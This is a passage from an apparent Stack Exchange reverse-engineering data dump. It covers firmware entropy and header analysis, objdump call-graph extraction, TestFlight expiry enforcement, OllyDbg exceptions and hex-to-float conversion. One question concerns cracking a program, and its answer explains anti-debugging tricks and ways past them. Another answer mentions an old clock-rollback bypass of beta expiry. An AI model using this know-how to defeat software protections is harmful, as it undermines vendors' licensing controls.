&lt;a href=&quot;http://www.fourmilab.ch/random/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ent&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ent GM5__V11.bin&#xA;Entropy = 7.999995 bits per byte.&#xA;&#xA;Optimum compression would reduce the size&#xA;of this 31901184 byte file by 0 percent.&#xA;&#xA;Chi square distribution for 31901184 samples is 235.87, and randomly&#xA;would exceed this value 79.95 percent of the times.&#xA;&#xA;Arithmetic mean value of data bytes is 127.4853 (127.5 = random).&#xA;Monte Carlo value for Pi is 3.142165006 (error 0.02 percent).&#xA;Serial correlation coefficient is -0.000084 (totally uncorrelated = 0.0).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to tests performed by &lt;a href=&quot;http://www.devttys0.com/2013/06/differentiate-encryption-from-compression-using-math/&quot; rel=&quot;nofollow noreferrer&quot;&gt;devttys0&lt;/a&gt;, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Applying these tests to a (admittedly small) sample of files with&#xA;  varying size which had been put through different&#xA;  compression/encryption algorithms showed the following correlations:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;Large deviations in the chi square distribution, or large percentages of error in the Monte Carlo approximation are sure signs&#xA;  of compression.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Very accurate pi calculations (&amp;lt; .01% error) are sure signs of encryption.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Lower chi values (&amp;lt; 300) with higher pi error (&gt; .03%) are indicative of compression.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Higher chi values (&gt; 300) with lower pi errors (&amp;lt; .03%) are indicative of encryption.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since the results from &lt;code&gt;ent&lt;/code&gt; were a chi square distribution of 235.87 and a pi calculation error of 0.02 percent, it is difficult to tell which using just these heuristics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;File Header&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The header is not encoded and can be analyzed separately from the encoded portion of the binary. To get a sense of its structure, here is a visualization of the header created using &lt;a href=&quot;http://binvis.io/#/&quot; rel=&quot;nofollow noreferrer&quot;&gt;binvis.io&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zXNSY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PnoXU.png&quot; alt=&quot;header&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can aid in investigating a hexdump of the header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ hexdump -C header.bin&#xA;00000000  55 50 44 00 00 02 00 00  00 02 00 00 47 4d 35 00  |UPD.........GM5.|&#xA;00000010  00 00 00 00 00 00 00 00  00 00 00 00 10 01 10 01  |................|&#xA;00000020  04 00 00 00 48 17 27 01  00 00 00 00 03 00 00 00  |....H.'.........|&#xA;00000030  00 00 00 00 03 00 00 00  00 02 00 00 00 c4 e6 01  |................|&#xA;00000040  49 a1 b1 e2 00 00 00 00  00 00 00 00 00 00 00 00  |I...............|&#xA;00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00000200  70 61 6e 61 73 6f 6e 69  63 00 00 00 00 00 00 00  |panasonic.......|&#xA;00000210  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000220  09 1a d7 cd 27 82 30 17  85 18 17 7b 0a fe 57 de  |....'.0....{..W.|&#xA;00000230  ba 20 30 41 f1 97 64 12  a0 a3 39 65 85 45 28 6c  |. 0A..d...9e.E(l|&#xA;00000240  f8 2d 00 75 99 6a 32 73  1d 0a fe c7 8d 9b af e5  |.-.u.j2s........|&#xA;00000250  8a 17 2c 78 64 37 b1 cb  24 ee 69 d1 b0 9a 1e fb  |..,xd7..$.i.....|&#xA;00000260  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;000002a0  55 50 44 00 00 02 00 00  00 02 00 00 47 4d 35 00  |UPD.........GM5.|&#xA;000002b0  00 00 00 00 00 00 00 00  00 00 00 00 10 01 10 01  |................|&#xA;000002c0  04 00 00 00 48 17 27 01  00 00 00 00 03 00 00 00  |....H.'.........|&#xA;000002d0  00 00 00 00 03 00 00 00  00 02 00 00 00 c4 e6 01  |................|&#xA;000002e0  00 00 00 00 00 00 00 00  08 00 00 00 70 72 6f 67  |............prog|&#xA;000002f0  72 61 6d 00 00 00 00 00  00 04 00 00 00 00 80 00  |ram.............|&#xA;00000300  00 00 00 00 03 00 00 00  e6 ce 3a 07 64 fd 56 e0  |..........:.d.V.|&#xA;00000310  f2 55 d4 41 2d 30 b1 f9  f7 3b 52 82 b3 33 c0 fe  |.U.A-0...;R..3..|&#xA;00000320  80 f1 6d c1 18 33 07 8c  84 03 c7 fb f9 8b de 15  |..m..3..........|&#xA;00000330  a6 9e 7c ba ee be 5f 6a  00 00 00 00 00 00 00 00  |..|..._j........|&#xA;00000340  00 00 00 00 00 00 00 00  67 75 69 72 65 73 00 00  |........guires..|&#xA;00000350  00 00 00 00 00 04 80 00  00 00 c0 00 00 00 80 00  |................|&#xA;00000360  03 00 00 00 5e 59 a4 51  17 17 91 01 88 1b 5b e4  |....^Y.Q......[.|&#xA;00000370  59 05 6f aa 86 75 95 24  a3 a6 0f 57 07 87 d1 38  |Y.o..u.$...W...8|&#xA;00000380  b3 53 05 c2 52 e3 63 b6  ab 09 1d 0d 14 81 ae 69  |.S..R.c........i|&#xA;00000390  de 76 1b 11 00 00 00 00  00 00 00 00 00 00 00 00  |.v..............|&#xA;000003a0  00 00 00 00 70 72 6f 67  72 61 6d 32 00 00 00 00  |....program2....|&#xA;000003b0  00 04 40 01 00 00 36 00  00 00 40 01 03 00 00 00  |..@...6...@.....|&#xA;000003c0  90 dd 3e 4a 19 c6 00 85  71 f1 62 3e 4d 84 9f 24  |..&amp;gt;J....q.b&amp;gt;M..$|&#xA;000003d0  5b 27 94 73 f4 3e 3b 13  f8 b7 63 e6 c9 4a 53 a5  |['.s.&amp;gt;;...c..JS.|&#xA;000003e0  39 c4 94 f0 01 50 3f 7d  66 6b 16 91 31 be 58 9f  |9....P?}fk..1.X.|&#xA;000003f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000400  61 72 6d 63 6f 64 65 00  00 00 00 00 00 04 76 01  |armcode.......v.|&#xA;00000410  00 00 34 00 00 00 76 01  03 00 00 00 c7 e1 96 1a  |..4...v.........|&#xA;00000420  12 18 64 68 6f 32 7a 3b  f8 2b 18 d1 59 6e 39 a4  |..dho2z;.+..Yn9.|&#xA;00000430  4b a1 3b 0e 63 fc 7c d1  a6 c9 10 b1 4e 1a 90 e6  |K.;.c.|.....N...|&#xA;00000440  e9 fb ec 36 92 7b dc 2b  29 e5 b4 b0 00 00 00 00  |...6.{.+).......|&#xA;00000450  00 00 00 00 00 00 00 00  00 00 00 00 6f 74 68 65  |............othe|&#xA;00000460  72 00 00 00 00 00 00 00  00 04 aa 01 00 00 38 00  |r.............8.|&#xA;00000470  00 00 b4 01 03 00 00 00  a2 36 81 24 c4 43 60 d8  |.........6.$.C`.|&#xA;00000480  05 96 82 00 24 9b d0 f2  01 72 74 8a 4b 41 0a b6  |....$....rt.KA..|&#xA;00000490  c2 ae 74 54 b2 b0 74 54  3e 8e 15 3b e1 b1 0b d8  |..tT..tT&amp;gt;..;....|&#xA;000004a0  24 4d 11 32 c6 d4 78 fc  00 00 00 00 00 00 00 00  |$M.2..x.........|&#xA;000004b0  00 00 00 00 00 00 00 00  65 65 70 5f 6f 77 5f 61  |........eep_ow_a|&#xA;000004c0  00 00 00 00 00 04 e2 01  00 00 02 00 00 00 fa 01  |................|&#xA;000004d0  03 00 00 00 b3 45 11 95  0d 13 6f 0d d1 7a 2d 4e  |.....E....o..z-N|&#xA;000004e0  86 72 d7 65 0c 2b db a9  fb 21 c8 93 a3 9b 95 cb  |.r.e.+...!......|&#xA;000004f0  0a bd 38 87 84 86 28 33  c3 e7 ca 1c 74 5b 10 34  |..8...(3....t[.4|&#xA;00000500  65 20 02 aa 00 00 00 00  00 00 00 00 00 00 00 00  |e ..............|&#xA;00000510  00 00 00 00 65 65 70 5f  6f 77 5f 62 00 00 00 00  |....eep_ow_b....|&#xA;00000520  00 04 e4 01 00 00 02 00  00 00 fc 01 03 00 00 00  |................|&#xA;00000530  b3 45 11 95 0d 13 6f 0d  d1 7a 2d 4e 86 72 d7 65  |.E....o..z-N.r.e|&#xA;00000540  0c 2b db a9 fb 21 c8 93  a3 9b 95 cb 0a bd 38 87  |.+...!........8.|&#xA;00000550  74 e7 e8 b9 78 c8 63 0a  85 b7 4a 2b 7c fc 6f e0  |t...x.c...J+|.o.|&#xA;00000560  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000570  65 65 70 5f 61 64 6a 66  69 78 00 00 00 04 e6 01  |eep_adjfix......|&#xA;00000580  00 c0 00 00 00 00 fe 01  03 00 00 00 72 be 21 58  |............r.!X|&#xA;00000590  3a cd 1f 9f 93 d9 8b 9d  7d ac ef 1a b7 28 c1 31  |:.......}....(.1|&#xA;000005a0  29 df cc 02 a2 ef a9 ae  30 b6 ea cc b7 89 e4 78  |).......0......x|&#xA;000005b0  4b d1 60 72 c8 77 e2 b5  d6 03 03 c5 00 00 00 00  |K.`r.w..........|&#xA;000005c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Between the visualization and the hexdump of the header, it looks like there are 10 or 11 blocks of bytes seperated by sequences of &lt;code&gt;0x00&lt;/code&gt; bytes and each of these blocks begins with ASCII data. Here are the human-readable strings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPD&#xA;GM5&#xA;panasonic&#xA;UPD&#xA;GM5&#xA;program&#xA;guires&#xA;program2&#xA;armcode&#xA;other&#xA;eep_ow_a&#xA;eep_ow_b&#xA;eep_adjfix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is difficult to determine what, if any, significance the data in the unencoded first 1536 bytes in the file have without more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked for patterns in the nonzero byte blocks and observed that the 8 strings below are followed by the byte sequence &lt;code&gt;00 00 00 04&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; program&#xA; guires&#xA; program2&#xA; armcode&#xA; other&#xA; eep_ow_a&#xA; eep_ow_b&#xA; eep_adjfix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OUFS0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OUFS0.png&quot; alt=&quot;observation 1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also observed repetitions of &lt;code&gt;03 00 00 00&lt;/code&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nBECa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nBECa.png&quot; alt=&quot;observation 3&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The padding between these 8 blocks consisted of 16 &lt;code&gt;00&lt;/code&gt; bytes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nBECa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gqu5X.png&quot; alt=&quot;observation2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2017-03-16T18:19:58.467" LastActivityDate="2017-03-16T18:19:58.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14914" PostTypeId="2" ParentId="9113" CreationDate="2017-03-15T20:44:10.650" Score="5" Body="&lt;p&gt;All (caller, callee)-tuples except for direct recursion and duplicates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -d $BINARY_FILENAME \&#xA;| grep '&amp;lt;' \&#xA;| sed -e 's/^[^&amp;lt;]*//' \&#xA;| sed 's/&amp;lt;\([^+]*\)[^&amp;gt;]*&amp;gt;/\1/' \&#xA;| awk 'BEGIN { FS = &quot;:&quot; } \&#xA;       NF&amp;gt;1 { w=$1; } \&#xA;       NF==1 &amp;amp;&amp;amp; w != $1 { print &quot;(\&quot;&quot; w &quot;\&quot;, \&quot;&quot; $0 &quot;\&quot;),&quot; }' \&#xA;| sort -u&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19515" LastActivityDate="2017-03-15T20:44:10.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14916" PostTypeId="1" AcceptedAnswerId="14917" CreationDate="2017-03-16T08:36:46.550" Score="2" ViewCount="668" Body="&lt;p&gt;I'm facing a dilemma whether to choose RE career or Penetration Tester career. I have a deep interest in both and want to become expert in both of them.But I wonder if it is possible for a human to be able to be expert in multiple fields? Are there people who are very good in RE and in Pentesting? some people told me to stop chasing multiple fields because I wouldn't be able to become expert.&#xA;What do you think?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="19521" LastActivityDate="2017-03-16T08:59:17.517" Title="Choose a career path" Tags="|career-advice|" AnswerCount="1" CommentCount="2" ClosedDate="2017-03-16T09:19:39.787" ContentLicense="CC BY-SA 3.0" />
  <row Id="14917" PostTypeId="2" ParentId="14916" CreationDate="2017-03-16T08:59:17.517" Score="3" Body="&lt;p&gt;Preamble: I'm working as reverse engineer in the field of malware in an research institute&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, even though they may be some overlap, these are completely different disciplines and both leave room for further specialization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, most reverses focus on either programs or firmware, while the mobile and bytecode are more exotic disciplines which are often combined with the main discipline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course a good reverser will be capable of reversing both firmware and applications, but will have problems if the focus is shifted in either direction e.g. when a firmware reverser has to reverse highly obfuscated malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always try to be a jack of all trades, but you won't be able to specialize in each direction. Although both reversing and pentesting may seem manageable at first, you'll notice that they run deep on some topics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt; Nontheless, I'm voting to close this topic because its mainly opinion based. No one can make this decision for you. You could try &lt;a href=&quot;https://www.reddit.com/r/ReverseEngineering/&quot; rel=&quot;nofollow noreferrer&quot;&gt;reddit&lt;/a&gt; for other opinions.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-03-16T08:59:17.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14918" PostTypeId="5" CreationDate="2017-03-16T09:18:57.587" Score="0" Body="" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-03-16T09:18:57.587" LastActivityDate="2017-03-16T09:18:57.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14919" PostTypeId="4" CreationDate="2017-03-16T09:18:57.587" Score="0" Body="This is a historical tag used during the beta period. Please don't use it, career advice questions are offtopic (opinion-based) and will be closed." OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-03-16T09:18:57.587" LastActivityDate="2017-03-16T09:18:57.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14920" PostTypeId="2" ParentId="14646" CreationDate="2017-03-16T11:45:58.020" Score="10" Body="&lt;p&gt;Passing confirmed answer from the comment:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See Edit--&gt;Segments--&gt;Rebase program menu item in Ida.&#xA;Online help on this menu item is &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1408.shtml&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2017-03-16T11:45:58.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14921" PostTypeId="1" CreationDate="2017-03-16T14:00:56.100" Score="3" ViewCount="2573" Body="&lt;p&gt;A beta app expired after a period of time. But after some investigated on the ipa file, both the certificate and the mobile provisioning profile embedded in the bundle are not expired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can Apple enforce beta app expiration and how the test expiration time determined?&lt;/p&gt;&#xA;" OwnerUserId="17187" LastEditorUserId="17187" LastEditDate="2018-11-04T05:44:54.830" LastActivityDate="2018-11-04T05:44:54.830" Title="How does Apple enforce the expiration of beta apps distributed through TestFlight" Tags="|ios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14922" PostTypeId="2" ParentId="14921" CreationDate="2017-03-16T15:58:57.643" Score="6" Body="&lt;p&gt;I'm assuming you are talking about beta versions of apps distributed through TestFlight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the iOS Distribution profile used to sign the app may not be expired, the profile used on the device in subject to a runtime kernel check which validates that the application expires after 60 days.  See this example console log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mar  9 08:34:48 ***-iPhone amfid[***] &amp;lt;Error&amp;gt;:  SecTrustEvaluate  [leaf CriticalExtensions IssuerCommonName]&#xA;Mar  9 08:34:48 ***-iPhone amfid[***] &amp;lt;Error&amp;gt;: /private/var/mobile/Containers/Bundle/Application/B4BF7C1D-2DF4-4B8D-943B-57BABD30****/***.app/*** not valid: 0xe8008015: A valid provisioning profile for this executable was not found.&#xA;Mar  9 08:34:48 ***-iPhone kernel[0] &amp;lt;Notice&amp;gt;: AMFI: hook..execve() killing pid 10282: no code signature&#xA;Mar  9 08:34:48 ***-iPhone kernel[0] &amp;lt;Notice&amp;gt;: Sandbox: hook..execve() killing pid 10282: application requires container but none set&#xA;Mar  9 08:34:48 ***-iPhone com.apple.xpc.launchd[1] (UIKitApplication:com.***.***[0x4711][10282]) &amp;lt;Notice&amp;gt;: Service exited due to signal: Killed: 9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The kernel kills the process during a runtime check to see if the profile used to run the executable has passed its expiration day.  The expiration of a provisioning profile is different than the expiration of the beta distributed application.  Previously, users were able to turn back the device time to bypass this check, but I believe this was fixed in iOS 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The expiration time is set by Apple.  In the early days of TestFlight this was 30 days, but I believe it has been extended to 60 days now.&lt;/p&gt;&#xA;" OwnerUserId="17972" LastActivityDate="2017-03-16T15:58:57.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14926" PostTypeId="1" CreationDate="2017-03-16T23:30:50.967" Score="2" ViewCount="8147" Body="&lt;p&gt;Any time I try to crack a program I get this error in olly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oGmYG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oGmYG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What causes this error? How can I fix this?&#xA;If anyone has suggestion or advice that would be great. I already tried pressing F9 but that doesn't help&lt;/p&gt;&#xA;" OwnerUserId="19531" LastEditorUserId="2147" LastEditDate="2017-03-17T13:38:46.437" LastActivityDate="2017-07-15T17:21:41.097" Title="Access violation when reading [OLLYDEBUG]" Tags="|ollydbg|debugging|debuggers|exception|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14927" PostTypeId="1" CreationDate="2017-03-17T02:55:19.943" Score="3" ViewCount="2122" Body="&lt;p&gt;I was trying to emulate a firmware and as a part of the process I was interested in knowing what device files are being registered using mknod. In order to intercept those calls I had created a shared object file and just for a dry run, I was trying to preload this shared library while making a call to mknod to register a character device while doing user space emulation with QEMU like so.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sudo strace chroot . ./qemu-mips-static -E LD_PRELOAD=&quot;/mknod.so&quot;&#xA;  mknod chrdev4 100 0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The files are in the correct place and I was following a tutorial very closely so I know am not making a syntactical as such, but my strace log showed my preloaded library not being accessed at all. Please note that in this case, my mknod is a symbolic link to the busybox binary which in turn executes the mknod syscall. I was wondering if that level of indirection could be an issue and possibly a reason as to why my library isn't getting preloaded? &lt;/p&gt;&#xA;" OwnerUserId="19155" LastActivityDate="2017-03-17T02:55:19.943" Title="LD_PRELOAD in QEMU user space emulation" Tags="|qemu|dynamic-linking|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14929" PostTypeId="2" ParentId="14926" CreationDate="2017-03-17T14:26:29.500" Score="3" Body="&lt;p&gt;&lt;em&gt;TL;DR:&lt;/em&gt; Without understanding what's causing the access violation, it is hard to tell how best to address it. You will need to investigate the exception handler and the cause first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This status line means an Access Violation exception occurred and ollydbg caught that exception. It is not necessarily an error and could be part of normal behavior of the program. It is now up to you to decide how olly should handle that exception, but first lets discuss what can cause this exception.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically, this exception means the program tried accessing an invalid address. It could be that the address is not allocated or that the CPU tried executing code at an address whose permissions prevent execution, write to an address that can't be written to, etc.  Generally, an &lt;em&gt;access violation&lt;/em&gt; exception occurs when an attempt to access an address failed for one reason or another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that we answered what &lt;em&gt;is&lt;/em&gt; an access violation exception, let's discuss &lt;em&gt;why&lt;/em&gt; it happens. An access violation usually happens when a bug is encountered, due to a programming error that made the CPU execute the wrong instructions or using the wrong data. However, security developers often use tricks related to access violation exceptions for their advantage, complicating the reverse engineering process or making the program harder to debug and modify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples of the more common tricks include:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Measuring the time between an exception being triggered until it's handled and normal execution is resumed. When in a debugger, the debugger will suspend the program, making that time difference significantly larger.&lt;/li&gt;&#xA;&lt;li&gt;Execute critical program parts within an exception handler which is slightly harder to debug, find and investigate.&lt;/li&gt;&#xA;&lt;li&gt;Trigger bugs in the debugger itself, making slight changes in behavior that could be critical to the program's execution.&lt;/li&gt;&#xA;&lt;li&gt;Increase the burden on the reverse engineer and complicate the dynamic reverse engineering process.&lt;/li&gt;&#xA;&lt;li&gt;Fail the program violently after an anti-debugging trick detected the program is being debugged.&lt;/li&gt;&#xA;&lt;li&gt;Normal operation and certain OS tricks might involve legitimately triggering (and handling) access violation exceptions.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Depending on why the exception was triggered, what is the exception handler code and what surrounds the exception triggering code, the way to handle that exception differs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If the exception triggering coded is surrounded with timing checks, you would want to add it to ollydbg's ignored exceptions so the debugger won't pause on those exceptions in future executions. Do that by pressing &lt;kbd&gt;alt&lt;/kbd&gt; + &lt;kbd&gt;o&lt;/kbd&gt; and selecting the &quot;Exceptions&quot; item under &quot;Debugging&quot;.&lt;/li&gt;&#xA;&lt;li&gt;To understand if the exception handler has a crucial part in the program's behavior, you would probably want to hit &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;F7&lt;/kbd&gt; to step into the exception handling code and reverse engineer it.&lt;/li&gt;&#xA;&lt;li&gt;If the exception handler is only part of the program's normal operation, it might also be peacefully ignored by adding to ollydbg's ignored exceptions list or using &lt;kbd&gt;shift&lt;/kbd&gt; + &lt;kbd&gt;F7&lt;/kbd&gt; , &lt;kbd&gt;F8&lt;/kbd&gt; or &lt;kbd&gt;F9&lt;/kbd&gt; to respectively step into, step over or run through the exception handler.&lt;/li&gt;&#xA;&lt;li&gt;If the access violation was triggered intentionally to terminate the program, you might be able to safely ignore it (&lt;kbd&gt;shift&lt;/kbd&gt; + &lt;kbd&gt;F9&lt;/kbd&gt;) and carry on with the rest of the program.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-03-17T14:26:29.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14930" PostTypeId="1" CreationDate="2017-03-17T15:39:41.053" Score="0" ViewCount="1650" Body="&lt;p&gt;I am attempting to debug a x64bit dll with x64dbg. Is there an export caller similar to Ollydbg? I checked the documents and haven't seen anything. &lt;/p&gt;&#xA;" OwnerUserId="2945" LastEditorUserId="60" LastEditDate="2017-08-17T13:21:11.790" LastActivityDate="2017-08-17T13:21:11.790" Title="Calling DLL exports in x64dbg" Tags="|ollydbg|debugging|debuggers|x86-64|x64dbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14931" PostTypeId="2" ParentId="14930" CreationDate="2017-03-17T15:46:23.143" Score="1" Body="&lt;p&gt;I talked to the people over at x64dbg. The export caller feature does not exist in x64dbg. &lt;/p&gt;&#xA;" OwnerUserId="2945" LastActivityDate="2017-03-17T15:46:23.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14932" PostTypeId="1" AcceptedAnswerId="14933" CreationDate="2017-03-17T19:49:01.217" Score="1" ViewCount="1043" Body="&lt;p&gt;I am trying to understand how an application I have been using is setting its data in XYZ coordinates which I wish to convert to HEX value. The application essentially shows me the XYZ in one format (float maybe), but I am only able to edit this data in HEX, so I need to understand the translation to make proper edits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off lets look at the values displayed in the program&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;X = 1.085597&#xA;Y = 4.703604&#xA;Z = -17.573305&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The HEX values for these XYZ values is 12 bytes, which I assume is 4 bytes for X values, 4 for Y, and for for Z. Here is the HEX output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;19 B3 87 44 D6 FC 92 45 9C 4A 89 C6&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I am wondering is if there is a way to ascertain (from the data I have provided) the formula that the application is using so I can convert the XYZ values to HEX values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone metioned it might be &lt;a href=&quot;https://en.wikipedia.org/wiki/IEEE_floating_point&quot; rel=&quot;nofollow noreferrer&quot;&gt;IEEE 754 standard?&lt;/a&gt; but I'm new to hex editing so I'm not sure how to apply this or what it means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HEX values appear to be in little endian.  &lt;/p&gt;&#xA;" OwnerUserId="19543" LastActivityDate="2017-03-17T20:08:16.537" Title="how to translate HEX values into X Y Z" Tags="|hex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14933" PostTypeId="2" ParentId="14932" CreationDate="2017-03-17T20:08:16.537" Score="2" Body="&lt;p&gt;The hex you posted is equivant to the float value * 10^3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is  1085.597 == 0x4487b319 and so on &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use any online calculator to check in both direction  like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.h-schmidt.net/FloatConverter/IEEE754.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.h-schmidt.net/FloatConverter/IEEE754.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-03-17T20:08:16.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14934" PostTypeId="1" CreationDate="2017-03-17T22:53:59.883" Score="1" ViewCount="333" Body="&lt;p&gt;I'm debugging a program right now in OllyDbg, and the entire hex dump is blank. I'm stepping through fine, and I do get the WIN API recognition, but I want to edit some memory but am not able to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/v7hF2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v7hF2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to, for example, edit the string pointed to by 00404378 to change the string &quot;Error&quot; to something else (see stack panel) but as you can see in the dump, it's completely blank. If I scroll the dump up and down, it's all blanked out.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2017-03-17T22:53:59.883" Title="What causes a blank memory dump in OllyDbg?" Tags="|ollydbg|debugging|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" 